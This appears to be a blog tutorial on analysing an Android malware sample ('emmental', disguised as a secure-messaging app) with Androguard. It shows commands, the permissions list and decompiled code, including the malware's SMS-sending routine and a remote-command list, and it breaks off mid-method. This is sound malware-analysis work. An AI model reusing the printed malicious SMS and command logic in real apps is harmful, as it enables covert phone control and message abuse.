Monday, October 26, 2015

Malware Analysis with Androguard: a practical case

When performing reversing, sometimes we find that the code is obfuscated or using some techniques to avoid decompilation in an easy way. Some other times, some tools, like 'jd-gui' ,doesn't show the source clean or complete. That is when we have to start looking for alternatives 

Androguard is a very powerful framework for reverse engineering and malware analysis. Although the installation could be a bit tough, there are several Dockers with Androguard installed. Also, you can find it in Remnux V6, which it is the one I am using.
I am using the malware with sha256 c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349 which it is a quite recent sample of the 'emmental' malware'


The full documentation of Androguard is in https://code.google.com/p/androguard/wiki/RE

The first thing to do is to launch the 'androlyze' to get an interactive shell.


$ androlyze.py -s

Second step is to load the APK, which I have named it 'malware.apk'. I used the defaulft compiler, dad, but you can also use 'dex2jar' or other ones.

In [1]:  a, d, dx = AnalyzeAPK("malware.apk", decompiler="dad")




Permissions and content of the AndroidManifest

The first I am going to check is the permissions that the APK needs.

n [3]: a.permissions
Out[3]:
['org.thoughtcrime.securesms.ACCESS_SECRETS',
 'android.permission.READ_PROFILE',
 'android.permission.WRITE_PROFILE',
 'android.permission.BROADCAST_WAP_PUSH',
 'android.permission.READ_CONTACTS',
 'android.permission.WRITE_CONTACTS',
 'android.permission.RECEIVE_BOOT_COMPLETED',
 'android.permission.RECEIVE_SMS',
 'android.permission.RECEIVE_MMS',
 'android.permission.READ_SMS',
 'android.permission.SEND_SMS',
 'android.permission.WRITE_SMS',
 'android.permission.VIBRATE',
 'android.permission.ACCESS_NETWORK_STATE',
 'android.permission.CHANGE_NETWORK_STATE',
 'android.permission.READ_PHONE_STATE',
 'android.permission.WAKE_LOCK',
 'android.permission.INTERNET',
 'android.permission.WRITE_EXTERNAL_STORAGE',
 'android.permission.READ_CALL_LOG',
 'android.permission.GET_ACCOUNTS',
 'android.permission.GET_TASKS']

Quite a few permissions :) 
You always can get all the information from the AndroidManifest.xml with the a.show(), which also contains the permissions. This command is handy as it gives also some hints about the meaning of each permission.

In [5]: a.show()
...
PERMISSIONS:
android.permission.CHANGE_NETWORK_STATE ['normal', 'change network connectivity', 'Allows an application to change the state of network connectivity.']
android.permission.WRITE_PROFILE ['dangerous', "write the user's personal profile data", "Allows an application to write (but not read) the user's personal profile data."]
android.permission.INTERNET ['dangerous', 'full Internet access', 'Allows an application to create network sockets.']
android.permission.WRITE_CONTACTS ['dangerous', 'write contact data', 'Allows an application to modify the contact (address) data stored on your phone. Malicious applications can use this to erase or modify your contact data.']
android.permission.SEND_SMS ['dangerous', 'send SMS messages', 'Allows application to send SMS messages. Malicious applications may cost you money by sending messages without your confirmation.']
android.permission.BROADCAST_WAP_PUSH ['signature', 'send WAP-PUSH-received broadcast', 'Allows an application to broadcast a notification that a WAP-PUSH message has been received. Malicious applications may use this to forge MMS message receipt or to replace the content of any web page silently with malicious variants.']
android.permission.WRITE_SMS ['dangerous', 'edit SMS or MMS', 'Allows application to write to SMS messages stored on your phone or SIM card. Malicious applications may delete your messages.']
android.permission.ACCESS_NETWORK_STATE ['normal', 'view network status', 'Allows an application to view the status of all networks.']
android.permission.GET_TASKS ['dangerous', 'retrieve running applications', 'Allows application to retrieve information about currently and recently running tasks. May allow malicious applications to discover private information about other applications.']
android.permission.READ_CALL_LOG ['dangerous', "read the user's call log.", "Allows an application to read the user's call log."]
android.permission.WRITE_EXTERNAL_STORAGE ['dangerous', 'modify/delete SD card contents', 'Allows an application to write to the SD card.']
org.thoughtcrime.securesms.ACCESS_SECRETS ['normal', 'Unknown permission from android reference', 'Unknown permission from android reference']
android.permission.RECEIVE_BOOT_COMPLETED ['normal', 'automatically start at boot', 'Allows an application to start itself as soon as the system has finished booting. This can make it take longer to start the phone and allow the application to slow down the overall phone by always running.']
android.permission.READ_PHONE_STATE ['dangerous', 'read phone state and identity', 'Allows the application to access the phone features of the device. An application with this permission can determine the phone number and serial number of this phone, whether a call is active, the number that call is connected to and so on.']
android.permission.READ_SMS ['dangerous', 'read SMS or MMS', 'Allows application to read SMS messages stored on your phone or SIM card. Malicious applications may read your confidential messages.']
android.permission.VIBRATE ['normal', 'control vibrator', 'Allows the application to control the vibrator.']
android.permission.RECEIVE_MMS ['dangerous', 'receive MMS', 'Allows application to receive and process MMS messages. Malicious applications may monitor your messages or delete them without showing them to you.']
android.permission.WAKE_LOCK ['normal', 'prevent phone from sleeping', 'Allows an application to prevent the phone from going to sleep.']
android.permission.RECEIVE_SMS ['dangerous', 'receive SMS', 'Allows application to receive and process SMS messages. Malicious applications may monitor your messages or delete them without showing them to you.']
android.permission.READ_CONTACTS ['dangerous', 'read contact data', 'Allows an application to read all of the contact (address) data stored on your phone. Malicious applications can use this to send your data to other people.']
android.permission.READ_PROFILE ['dangerous', "read the user's personal profile data", "Allows an application to read the user's personal profile data."]
android.permission.GET_ACCOUNTS ['normal', 'discover known accounts', 'Allows an application to access the list of accounts known by the phone.']
MAIN ACTIVITY:  org.thoughtcrime.securesms.RoutingActivity
ACTIVITIES:
org.thoughtcrime.securesms.RoutingActivity {'action': [u'android.intent.action.MAIN', u'android.intent.action.SENDTO', u'android.intent.action.SEND'], 'category': [u'android.intent.category.LAUNCHER', u'android.intent.category.DEFAULT']}
org.thoughtcrime.securesms.CountrySelectionActivity
org.thoughtcrime.securesms.ImportExportActivity
org.thoughtcrime.securesms.PromptMmsActivity
org.thoughtcrime.securesms.MmsPreferencesActivity
org.thoughtcrime.securesms.ShareActivity
org.thoughtcrime.securesms.ConversationListActivity
org.thoughtcrime.securesms.ConversationActivity
org.thoughtcrime.securesms.DatabaseMigrationActivity
org.thoughtcrime.securesms.DatabaseUpgradeActivity
org.thoughtcrime.securesms.PassphraseCreateActivity
org.thoughtcrime.securesms.PassphrasePromptActivity
org.thoughtcrime.securesms.ContactSelectionActivity
org.thoughtcrime.securesms.NewConversationActivity
org.thoughtcrime.securesms.PushContactSelectionActivity
org.thoughtcrime.securesms.ViewLocalIdentityActivity
org.thoughtcrime.securesms.PassphraseChangeActivity
org.thoughtcrime.securesms.ApplicationPreferencesActivity
org.thoughtcrime.securesms.DummyActivity
org.thoughtcrime.securesms.xpack.ActUpdate {'action': [u'org.thoughtcrime.securesms.xpack.updateact'], 'category': [u'android.intent.category.DEFAULT']}
org.thoughtcrime.securesms.xpack.ActDefault {'action': [u'org.thoughtcrime.securesms.xpack.defaultact'], 'category': [u'android.intent.category.DEFAULT']}
org.thoughtcrime.securesms.FirstActivity {'action': [u'org.thoughtcrime.securesms.firstact'], 'category': [u'android.intent.category.DEFAULT']}
SERVICES:
org.thoughtcrime.securesms.service.ApplicationMigrationService
org.thoughtcrime.securesms.service.KeyCachingService
org.thoughtcrime.securesms.service.SendReceiveService
org.thoughtcrime.securesms.service.DirectoryRefreshService
org.thoughtcrime.securesms.service.PreKeyService
org.thoughtcrime.securesms.service.QuickResponseService {'action': [u'android.intent.action.RESPOND_VIA_MESSAGE'], 'category': [u'android.intent.category.DEFAULT']}
org.thoughtcrime.securesms.xservices.XService {'action': [u'XMainProcessStart']}
org.thoughtcrime.securesms.xservices.XSmsIncom
RECEIVERS:
org.thoughtcrime.securesms.service.SmsListener {'action': [u'android.provider.Telephony.SMS_RECEIVED', u'android.provider.Telephony.SMS_DELIVER']}
org.thoughtcrime.securesms.service.SmsDeliveryListener {'action': [u'org.thoughtcrime.securesms.services.MESSAGE_SENT']}
org.thoughtcrime.securesms.service.MmsListener {'action': [u'android.provider.Telephony.WAP_PUSH_RECEIVED', u'android.provider.Telephony.WAP_PUSH_DELIVER']}
org.thoughtcrime.securesms.notifications.MarkReadReceiver {'action': [u'org.thoughtcrime.securesms.notifications.CLEAR']}
org.thoughtcrime.securesms.service.DirectoryRefreshListener {'action': [u'org.whispersystems.whisperpush.DIRECTORY_REFRESH', u'android.intent.action.BOOT_COMPLETED']}
org.thoughtcrime.securesms.xservices.XRepeat
org.thoughtcrime.securesms.xservices.XRepeatSms
org.thoughtcrime.securesms.xservices.XUpdate
org.thoughtcrime.securesms.xbroadcast.OnSmsSended
org.thoughtcrime.securesms.xbroadcast.OnBootReceiver {'action': [u'android.intent.action.BOOT_COMPLETED']}
PROVIDERS:  ['org.thoughtcrime.securesms.providers.PartProvider']


From the output above, we can easily spot which is the main activity and start looking at the code from the main entry point. But before, I will show some handy commands.




How to find the methods which use a certain permissions

If we want to see in which part of the code a certain permission is used, we can use the comannd 'show_Permissions(dx)'


show_Permissions(dx)

ACCESS_NETWORK_STATE :

1 Lorg/thoughtcrime/securesms/c/r;->d()Z (0x6) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;

1 Lorg/thoughtcrime/securesms/c/r;->e()Z (0x6) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;

1 Lorg/thoughtcrime/securesms/c/r;->f()Z (0x6) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;

1 Lorg/thoughtcrime/securesms/c/r;->a()Ljava/lang/String; (0x6) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/c/v;->c(Landroid/content/Context;)Z (0x16) ---> Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/h/i;->k(Landroid/content/Context;)Z (0x10) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/h/i;->l(Landroid/content/Context;)Ljava/lang/String; (0x14) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/service/x;->d()Z (0x4) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/service/x;->d()Z (0x14) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/service/z;->onReceive(Landroid/content/Context; Landroid/content/Intent;)V (0x28) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
1 Lorg/thoughtcrime/securesms/service/z;->onReceive(Landroid/content/Context; Landroid/content/Intent;)V (0x40) ---> Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
CHANGE_NETWORK_STATE :
1 Lorg/thoughtcrime/securesms/c/o;->b(Landroid/content/Context; Ljava/lang/String; Z)V (0xa4) ---> Landroid/net/ConnectivityManager;->requestRouteToHost(I I)Z
1 Lorg/thoughtcrime/securesms/c/r;->b()V (0x7a) ---> Landroid/net/ConnectivityManager;->stopUsingNetworkFeature(I Ljava/lang/String;)I
1 Lorg/thoughtcrime/securesms/c/r;->c()V (0xc) ---> Landroid/net/ConnectivityManager;->startUsingNetworkFeature(I Ljava/lang/String;)I
WAKE_LOCK :
1 Lorg/thoughtcrime/securesms/notifications/b;->a(Landroid/content/Context;)V (0x82) ---> Landroid/media/MediaPlayer;->start()V
1 Lorg/thoughtcrime/securesms/c/r;-><init>(Landroid/content/Context;)V (0x3a) ---> Landroid/os/PowerManager;->newWakeLock(I Ljava/lang/String;)Landroid/os/PowerManager$WakeLock;
1 Lorg/thoughtcrime/securesms/service/DirectoryRefreshService;->a()V (0x16) ---> Landroid/os/PowerManager;->newWakeLock(I Ljava/lang/String;)Landroid/os/PowerManager$WakeLock;
1 Lorg/thoughtcrime/securesms/service/d;->run()V (0x30) ---> Landroid/os/PowerManager;->newWakeLock(I Ljava/lang/String;)Landroid/os/PowerManager$WakeLock;
1 Lorg/thoughtcrime/securesms/c/r;->b()V (0x14) ---> Landroid/os/PowerManager$WakeLock;->release()V
1 Lorg/thoughtcrime/securesms/c/r;->c()V (0x4c) ---> Landroid/os/PowerManager$WakeLock;->acquire()V
1 Lorg/thoughtcrime/securesms/c/r;->c()V (0x66) ---> Landroid/os/PowerManager$WakeLock;->acquire()V
1 Lorg/thoughtcrime/securesms/service/DirectoryRefreshService;->a()V (0x1e) ---> Landroid/os/PowerManager$WakeLock;->acquire()V
1 Lorg/thoughtcrime/securesms/service/d;->run()V (0x38) ---> Landroid/os/PowerManager$WakeLock;->acquire()V
1 Lorg/thoughtcrime/securesms/service/d;->run()V (0xaa) ---> Landroid/os/PowerManager$WakeLock;->release()V
1 Lorg/thoughtcrime/securesms/service/d;->run()V (0xb4) ---> Landroid/os/PowerManager$WakeLock;->release()V
1 Lorg/thoughtcrime/securesms/service/f;->run()V (0x42) ---> Landroid/os/PowerManager$WakeLock;->release()V
1 Lorg/thoughtcrime/securesms/service/f;->run()V (0x68) ---> Landroid/os/PowerManager$WakeLock;->release()V
SEND_SMS :
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0x0) ---> Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0x66) ---> Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0x70) ---> Landroid/telephony/SmsManager;->sendMultipartTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/util/ArrayList; Ljava/util/ArrayList; Ljava/util/ArrayList;)V
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0xfe) ---> Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
1 Lorg/thoughtcrime/securesms/f/h;->b(Lorg/thoughtcrime/securesms/b/b/f;)V (0x128) ---> Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V
1 Lorg/thoughtcrime/securesms/h/i;->d(Ljava/lang/String; Ljava/lang/String; Landroid/content/Context;)V (0x1a) ---> Landroid/telephony/SmsManager;-
>getDefault()Landroid/telephony/SmsManager;
1 Lorg/thoughtcrime/securesms/h/i;->d(Ljava/lang/String; Ljava/lang/String; Landroid/content/Context;)V (0x42) ---> Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V
1 Lorg/thoughtcrime/securesms/h/i;->d(Ljava/lang/String; Ljava/lang/String; Landroid/content/Context;)V (0x7c) ---> Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V
VIBRATE :
R ['Landroid/app/Notification;', 'defaults', 'I'] (0xb4) ---> Landroid/support/v4/app/NotificationCompatHoneycomb;->add(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap;)Landroid/app/Notification;
W ['Landroid/app/Notification;', 'defaults', 'I'] (0x4) ---> Landroid/support/v4/app/NotificationCompat$Builder;->setDefaults(I)Landroid/support/v4/app/NotificationCompat$Builder;
R ['Landroid/app/Notification;', 'defaults', 'I'] (0xb0) ---> Landroid/support/v4/app/NotificationCompatIceCreamSandwich;->add(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap; I I Z)Landroid/app/Notification;
R ['Landroid/app/Notification;', 'defaults', 'I'] (0xb6) ---> Landroid/support/v4/app/NotificationCompatJellybean;-><init>(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap; I I Z Z I Ljava/lang/CharSequence;)V
INTERNET :
1 Lorg/whispersystems/textsecure/push/an;->b(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)Ljava/net/HttpURLConnection; (0x14) ---> Ljava/net/HttpURLConnection;->connect()V
1 Lorg/thoughtcrime/securesms/h/d;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; (0xb0) ---> Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
1 Lorg/thoughtcrime/securesms/h/d;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; (0xe0) ---> Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
1 Lorg/thoughtcrime/securesms/h/d;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; (0xc) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lorg/thoughtcrime/securesms/h/d;->a(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; (0xc) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lorg/whispersystems/textsecure/push/an;->a(Ljava/lang/String; Ljava/lang/String;)Ljava/net/HttpURLConnection; (0xaa) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lorg/whispersystems/textsecure/push/an;->a(Ljava/lang/String; Ljava/io/File;)V (0xa) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
1 Lorg/whispersystems/textsecure/push/an;->a(Ljava/lang/String; Ljava/lang/String; [B)V (0xa) ---> Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
READ_CONTACTS :
R ['Landroid/provider/ContactsContract$CommonDataKinds$Phone;', 'CONTENT_URI', 'Landroid/net/Uri;'] (0x4c) ---> Lorg/thoughtcrime/securesms/contacts/m;->a(Ljava/lang/String;)Landroid/database/Cursor;
R ['Landroid/provider/ContactsContract$CommonDataKinds$Phone;', 'CONTENT_URI', 'Landroid/net/Uri;'] (0x2) ---> Lorg/whispersystems/textsecure/a/a;->d(Ljava/lang/String;)Ljava/util/Set;
R ['Landroid/provider/ContactsContract$CommonDataKinds$Phone;', 'CONTENT_URI', 'Landroid/net/Uri;'] (0x14) ---> Lorg/thoughtcrime/securesms/contacts/ContactAccessor;->a(Landroid/content/Context; Ljava/lang/String; J)Lorg/thoughtcrime/securesms/contacts/ContactAccessor$ContactData;
READ_PHONE_STATE :
1 Lorg/thoughtcrime/securesms/b/s;->a(Lorg/thoughtcrime/securesms/c/m;)J (0xa0) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/contacts/e;->c()Ljava/lang/String; (0x14) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/f/d;->a(Lb/a/a/a/a/a/y; Z Z)Lorg/thoughtcrime/securesms/c/w; (0x16) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->a(Landroid/telephony/TelephonyManager; Landroid/content/Context;)Ljava/lang/String; (0xe) ---> Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->e(Landroid/content/Context;)Ljava/lang/String; (0x25e) ---> Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->e(Landroid/content/Context;)Ljava/lang/String; (0x294) ---> Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->e(Landroid/content/Context;)Ljava/lang/String; (0x300) ---> Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/h/i;->g(Landroid/content/Context;)Ljava/lang/String; (0x40) ---> Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
1 Lorg/thoughtcrime/securesms/service/x;->a()V (0x1e) ---> Landroid/telephony/TelephonyManager;->listen(Landroid/telephony/PhoneStateListener; I)V
1 Lorg/thoughtcrime/securesms/service/x;->b()V (0x1e) ---> Landroid/telephony/TelephonyManager;->listen(Landroid/telephony/PhoneStateListener; I)V
1 Lorg/thoughtcrime/securesms/service/x;->c()V (0xa) ---> Landroid/telephony/TelephonyManager;->listen(Landroid/telephony/PhoneStateListener; I)V


From the information above (in highlight) I gather all the methods. Now I can check for a specific method, and display the Java code or the smali code. As an example I am going to show the Java code for the method highlight in yellow. 

In [13]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_d_Ljava_lang_StringLjava_lang_StringLandroid_content_ContextV.source()

public static void d(String p6, String p7, android.content.Context p8)
    {
        try {
            android.app.PendingIntent v4 = android.app.PendingIntent.getBroadcast(p8, 0, new android.content.Intent(p8, org.thoughtcrime.securesms.xbroadcast.OnSmsSended), 0);
            Exception v0_1 = android.telephony.SmsManager.getDefault();
            String v1_3 = org.thoughtcrime.securesms.h.i.a("service_code", "0", p8);
        } catch (Exception v0_2) {
            v0_2.printStackTrace();
            return;
        }
        if (v1_3 != "0") {
            String v3_1 = new StringBuilder();
            v3_1.append(v1_3).append(" ").append(p7);
            v0_1.sendTextMessage(p6, 0, v3_1.toString(), v4, 0);
            return;
        } else {
            v0_1.sendTextMessage(p6, 0, p7, v4, 0);
            return;
        }
    }


Searching strings in the code

Other very handy functionality is to search specific strings across the code. For example, if we want to search for the string 'GOOGLE':

In [46]: z = dx.tainted_variables.get_string("GOOGLE")

In [47]: z
Out[47]: <androguard.core.analysis.analysis.TaintedVariable at 0x7faf3791e1d0>

Then we find the method in the code which has that string

In [48]: z.show_paths(d)
R 32 Lorg/thoughtcrime/securesms/h/h;-><clinit> 

Last step is to display the Java code for that method

In [50]: d.CLASS_Lorg_thoughtcrime_securesms_h_h.METHOD_clinit.source()
static h()
    {
        org.thoughtcrime.securesms.h.h.a = new org.thoughtcrime.securesms.h.h("GOOGL", 0);
        org.thoughtcrime.securesms.h.h.b = new org.thoughtcrime.securesms.h.h("STARTB", 1);
        org.thoughtcrime.securesms.h.h.c = new org.thoughtcrime.securesms.h.h("GOOGLE", 2);
        org.thoughtcrime.securesms.h.h.d = new org.thoughtcrime.securesms.h.h("DEL", 3);
        org.thoughtcrime.securesms.h.h.e = new org.thoughtcrime.securesms.h.h("YAHOO", 4);
        org.thoughtcrime.securesms.h.h.f = new org.thoughtcrime.securesms.h.h("CLEARB", 5);
        org.thoughtcrime.securesms.h.h.g = new org.thoughtcrime.securesms.h.h("SETP", 6);
        org.thoughtcrime.securesms.h.h.h = new org.thoughtcrime.securesms.h.h("CLEARP", 7);
        org.thoughtcrime.securesms.h.h.i = new org.thoughtcrime.securesms.h.h("DROPBOX", 8);
        org.thoughtcrime.securesms.h.h.j = new org.thoughtcrime.securesms.h.h("LOCK", 9);
        org.thoughtcrime.securesms.h.h.k = new org.thoughtcrime.securesms.h.h("UNLOCK", 10);
        org.thoughtcrime.securesms.h.h[] v0_23 = new org.thoughtcrime.securesms.h.h[11];
        v0_23[0] = org.thoughtcrime.securesms.h.h.a;
        v0_23[1] = org.thoughtcrime.securesms.h.h.b;
        v0_23[2] = org.thoughtcrime.securesms.h.h.c;
        v0_23[3] = org.thoughtcrime.securesms.h.h.d;
        v0_23[4] = org.thoughtcrime.securesms.h.h.e;
        v0_23[5] = org.thoughtcrime.securesms.h.h.f;
        v0_23[6] = org.thoughtcrime.securesms.h.h.g;
        v0_23[7] = org.thoughtcrime.securesms.h.h.h;
        v0_23[8] = org.thoughtcrime.securesms.h.h.i;
        v0_23[9] = org.thoughtcrime.securesms.h.h.j;
        v0_23[10] = org.thoughtcrime.securesms.h.h.k;
        org.thoughtcrime.securesms.h.h.l = v0_23;
        return;
    }


Analysis of the main activity 

Now, let's take a look to the main point of entry of the code where the 'Main activity' is. We got that info in the beginning, with the 'a.show()' command. The class which contains the main activity is org.thoughtcrime.securesms.RoutingActivity. Let's take a look to the code:


In [52]: d.CLASS_Lorg_thoughtcrime_securesms_RoutingActivity.source()


package org.thoughtcrime.securesms;
public class RoutingActivity extends org.thoughtcrime.securesms.dp {
    private org.whispersystems.textsecure.crypto.MasterSecret a;
    private boolean b;
    private boolean c;
    private boolean d;

    public RoutingActivity()
    {
        this.a = 0;
        this.b = 0;
        this.c = 0;
        this.d = 0;
        return;
    }

    private android.content.Intent a(org.thoughtcrime.securesms.eb p5)
    {
        String v0_2;
        android.content.Intent v1_1 = new android.content.Intent(this, org.thoughtcrime.securesms.ConversationActivity);
        if (p5.b == null) {
            v0_2 = "";
        } else {
            v0_2 = p5.b.g();
        }
        v1_1.putExtra("recipients", v0_2);
        v1_1.putExtra("thread_id", p5.a);
        v1_1.putExtra("master_secret", this.a);
        v1_1.putExtra("draft_text", p5.c);
        v1_1.putExtra("draft_image", p5.d);
        v1_1.putExtra("draft_audio", p5.e);
        v1_1.putExtra("draft_video", p5.f);
        return v1_1;
    }

    private android.content.Intent b(org.thoughtcrime.securesms.eb p4)
    {
        android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.ShareActivity);
        v0_1.putExtra("master_secret", this.a);
        if (p4 != null) {
            v0_1.putExtra("draft_text", p4.c);
            v0_1.putExtra("draft_image", p4.d);
            v0_1.putExtra("draft_audio", p4.e);
            v0_1.putExtra("draft_video", p4.f);
        }
        return v0_1;
    }

    private void b()
    {
        switch (this.j()) {
            case 0:
                this.c();
                break;
            case 1:
                this.d();
                break;
            case 2:
                this.e();
                break;
            case 3:
                this.f();
                break;
            case 4:
                this.h();
                break;
            case 5:
                this.g();
                break;
            case 6:
                this.h();
                break;
        }
        return;
    }

    private void c()
    {
        android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.FirstActivity);
        v0_1.putExtra("next_intent", this.getIntent());
        this.startActivity(v0_1);
        this.finish();
        return;
    }

    private void d()
    {
        this.startActivityForResult(new android.content.Intent(this, org.thoughtcrime.securesms.PassphraseCreateActivity), 1);
        return;
    }

    private void e()
    {
        this.startActivityForResult(new android.content.Intent(this, org.thoughtcrime.securesms.PassphrasePromptActivity), 2);
        return;
    }

    private void f()
    {
        android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.DatabaseMigrationActivity);
        v0_1.putExtra("master_secret", this.a);
        v0_1.putExtra("next_intent", this.i());
        this.startActivity(v0_1);
        this.finish();
        return;
    }

    private void g()
    {
        android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.DatabaseUpgradeActivity);
        v0_1.putExtra("master_secret", this.a);
        v0_1.putExtra("next_intent", this.i());
        this.startActivity(v0_1);
        this.finish();
        return;
    }

    private void h()
    {
        android.content.Intent v0_1;
        android.content.Intent v0_0 = this.k();
        if (!this.o()) {
            if (v0_0.b == null) {
                v0_1 = this.i();
            } else {
                v0_1 = this.a(v0_0);
            }
        } else {
            v0_1 = this.b(v0_0);
        }
        this.startActivity(v0_1);
        this.finish();
        return;
    }

    private android.content.Intent i()
    {
        android.content.Intent v0_1 = new android.content.Intent(this, org.thoughtcrime.securesms.ConversationListActivity);
        v0_1.putExtra("master_secret", this.a);
        return v0_1;
    }

    private int j()
    {
        int v0_0 = 0;
        if ((org.thoughtcrime.securesms.h.i.a("FIRST_ACTIVITY", 0, this) != 0) || (org.thoughtcrime.securesms.h.i.h(this))) {
            if (org.thoughtcrime.securesms.a.n.b(this)) {
                if (this.a != null) {
                    if (org.thoughtcrime.securesms.service.ApplicationMigrationService.a(this)) {
                        if (!org.thoughtcrime.securesms.DatabaseUpgradeActivity.a(this)) {
                            v0_0 = 4;
                        } else {
                            v0_0 = 5;
                        }
                    } else {
                        v0_0 = 3;
                    }
                } else {
                    v0_0 = 2;
                }
            } else {
                v0_0 = 1;
            }
        }
        return v0_0;
    }

    private org.thoughtcrime.securesms.eb k()
    {
        org.thoughtcrime.securesms.eb v0_2;
        if (!this.p()) {
            if (!this.o()) {
                v0_2 = this.n();
            } else {
                v0_2 = this.m();
            }
        } else {
            v0_2 = this.l();
        }
        return v0_2;
    }

    private org.thoughtcrime.securesms.eb l()
    {
        this.getIntent().getLongExtra("thread_id", -1);
        try {
            int v3_1 = org.thoughtcrime.securesms.recipients.d.b(this, this.getIntent().getData().getSchemeSpecificPart(), 0);
            long v1_1 = org.thoughtcrime.securesms.b.f.c(this).a(v3_1);
        } catch (org.thoughtcrime.securesms.eb v0) {
            v3_1 = 0;
        }
        return new org.thoughtcrime.securesms.eb(v1_1, v3_1, 0, 0, 0, 0);
    }

    private org.thoughtcrime.securesms.eb m()
    {
        int v4;
        int v5;
        int v6;
        android.net.Uri v7;
        android.net.Uri v0_1 = this.getIntent().getType();
        if (!"text/plain".equals(v0_1)) {
            if ((v0_1 == null) || (!v0_1.startsWith("image/"))) {
                if ((v0_1 == null) || (!v0_1.startsWith("audio/"))) {
                    if ((v0_1 == null) || (!v0_1.startsWith("video/"))) {
                        v7 = 0;
                        v6 = 0;
                        v5 = 0;
                        v4 = 0;
                    } else {
                        v7 = ((android.net.Uri) this.getIntent().getParcelableExtra("android.intent.extra.STREAM"));
                        v6 = 0;
                        v5 = 0;
                        v4 = 0;
                    }
                } else {
                    v7 = 0;
                    v6 = ((android.net.Uri) this.getIntent().getParcelableExtra("android.intent.extra.STREAM"));
                    v5 = 0;
                    v4 = 0;
                }
            } else {
                v7 = 0;
                v6 = 0;
                v5 = ((android.net.Uri) this.getIntent().getParcelableExtra("android.intent.extra.STREAM"));
                v4 = 0;
            }
        } else {
